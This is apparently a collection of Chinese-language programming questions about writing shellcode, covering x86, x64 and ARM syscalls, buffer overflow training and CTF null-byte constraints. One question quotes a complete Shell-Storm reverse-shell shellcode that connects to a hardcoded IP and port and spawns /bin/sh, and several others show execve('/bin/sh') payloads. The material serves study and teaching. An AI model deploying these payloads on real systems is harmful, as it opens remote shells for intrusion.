标签: shellcode

我正在尝试编写一个执行fork()系统调用的程序，并且子/父项分别写入不同的字符串和exit(0).

问题是 - 虽然fork()成功了（因为我看到了 2 行输出），但由于某种原因，父进程和子进程都输出了父字符串。

这是代码：

BITS 64

section .data
msg1:    db    "Hello from child", 0x0a
len1:    equ   $-msg1
msg2:    db    "Hello from parent", 0x0a
len2:    equ   $-msg2

section .text
global start

start:
        xor rax,rax
        mov rax,0x2000002    ; fork() syscall
        syscall

        test eax,eax
        jne flow_parent

        mov rax, 0x2000004   ; SYS_write
        mov rdi, 1           ; stdout
        mov rsi, msg1
        mov rdx, len1
        syscall

        xor rdi,rdi
        mov rax,0x2000001
        syscall

flow_parent:
        mov rax, 0x2000004   ; SYS_write …

这是shellstorm的代码副本:

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

任何人都可以帮我解释一下这个"int(ret)()=(int()())代码;" ？它是如何工作的？为什么它可以使上面的代码运行？

我正在创建有关缓冲区溢出和堆栈/堆攻击的培训。我正在 Ubuntu 12.04 x86_64机器上工作，想要展示一些有错误的程序示例以及利用这些漏洞的方法。

我试图从迄今为止找到的最基本的 shellcode 开始，即简单的 exit 调用，它应该退出溢出的程序。

因此exitcall.asm：

;exitcall.asm

[SECTION .text]

global _start

_start:
    xor ebx,ebx     ; zero out ebx, same function as mov ebx,0
    mov al, 1       ; exit command to kernel
    int 0x80

我从其他教程中得到了这个 asm 文件，但它是为i386架构编写的。接下来要做的是生成一个目标文件并将其设为二进制可执行文件：

# nasm -f elf64 exitcall.asm

# ld -o exitcall exitcall.o 

# file exitcall

        exitcall: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), statically linked, not stripped

# strace ./exitcall

        execve("./exitcall", ["./exitcall"], [/* 73 vars */]) …

我正在学习缓冲区溢出，并发现了一个程序有点像这样的挑战：

int main() {
    do_something()
    return 0;
}

void do_something() {
    //get inputs
    printf("Did something.");
}

void do_something_else() {
    printf("Did something else.")
}

假设 中存在缓冲区溢出do_something()，我将如何使其调用该函数do_something_else()？

我正在编写一个简单的shellcode,它需要execve()一个ARM平台(Raspberry PI上的Linux)并且第二个参数被困在了execve.根据文件:

int execve(const char *filename, char *const argv[], char *const envp[]);

如果我打电话execve("/bin/sh", {NULL}, {NULL});(从装配的角度来看),这对我来说完全削减了它:

.data

.section .rodata

.command:
        .string "/bin/sh"

.text

.globl _start

_start: 
        mov r7, #11
        ldr r0, =.command
        eor r1, r1 @ temporarily forget about argv
        eor r2, r2 @ don't mind envp too
        svc #0

        mov r7, #1
        eor r0, r0
        svc #0

上面的程序集很好地编译,并在我的测试机器上运行时唤起shell /bin/sh.但是,我所有的麻烦都是在特定的目标盒子上没有/bin/sh本身,但只有一个符号链接busybox需要我执行类似的东西execve("/bin/busybox", {"/bin/busybox", "sh", NULL}, {NULL}).

至于我的理解,数组在内存中是连续的,所以我所要做的就是以连续的方式在内存中分配字节,然后将指针提供给我认为是"数组"的开头.考虑到这一点,我尝试了以下内容: …

我正在使用 python3 编写 shellcode 漏洞。但是，当我尝试输出一些十六进制字节时。例如使用线 -python3 -c 'print("\x8c")' | xxd

xxd中的值为c28c，而不是预期的8c

python2中不会出现这个问题。

我不太明白变量如何存储在文本部分以及如何操作它们.不应该所有变量都在.data部分中,并且不是.text部分只读的所有部分吗？那么这段代码是如何工作的呢？

[代码取自Shellcoder的手册 ]

Section .text
global _start

_start:
    jmp short GotoCall

shellcode:
    pop esi
    xor eax, eax
    mov byte [esi + 7], al
    lea ebx, [esi]
    mov long [esi + 8], ebx
    mov long [esi + 12], eax
    mov byte al, 0x0b
    mov ebx, esi
    lea ecx, [esi + 8]
    lea edx, [esi + 12]
    int 0x80

GotoCall:
    call shellcode
    db '/bin/shJAAAAKKKK'

我正在尝试为不允许 0x00 字节的 CTF 挑战编写 shellcode（它将被解释为终止符）。由于挑战的限制，我必须做这样的事情：

[shellcode bulk]
[(0x514 - sizeof(shellcode bulk)) filler bytes]
[fixed constant data to overwrite global symbols]
[shellcode data]

它看起来像这样

.intel_syntax noprefix
.code32

shellcode:
    jmp sc_data

shellcode_main:
    #open
    xor eax, eax
    pop ebx         //file string
    xor ecx, ecx    //flags
    xor edx, edx    //mode
    mov al, 5       //sys_OPEN
    int 0x80

    ...  // more shellcode

.org 514, 0x41     // filler bytes
.long 0xffffffff   // bss constant overwrite

sc_data:
    call shellcode_main
    .asciz "/path/to/fs/file"

如果sc_data在shellcode. 在这种情况下，汇编器 …

有没有不使用访问指令指针（RIP）的值的方式call，随后由pop汇编语言？或者是否有可以做到这一点的机器代码操作码？

我一直在谷歌搜索没有明确的结果。

我的问题是机器代码中不能有任何零，否则我会收到 SIGSEGV 错误。这是由于服务器加载代码并从一串字节执行它的方式。近调用在到子例程的距离上为零，因此不能选择使用调用。

我使用的是 64 位 linux，并且有 nasm 和 yasm。

我有一些来自shell代码有效负载的示例代码，显示了for循环并使用push / pop设置计数器：

push 9
pop ecx

为什么不能只使用mov？

mov ecx, 9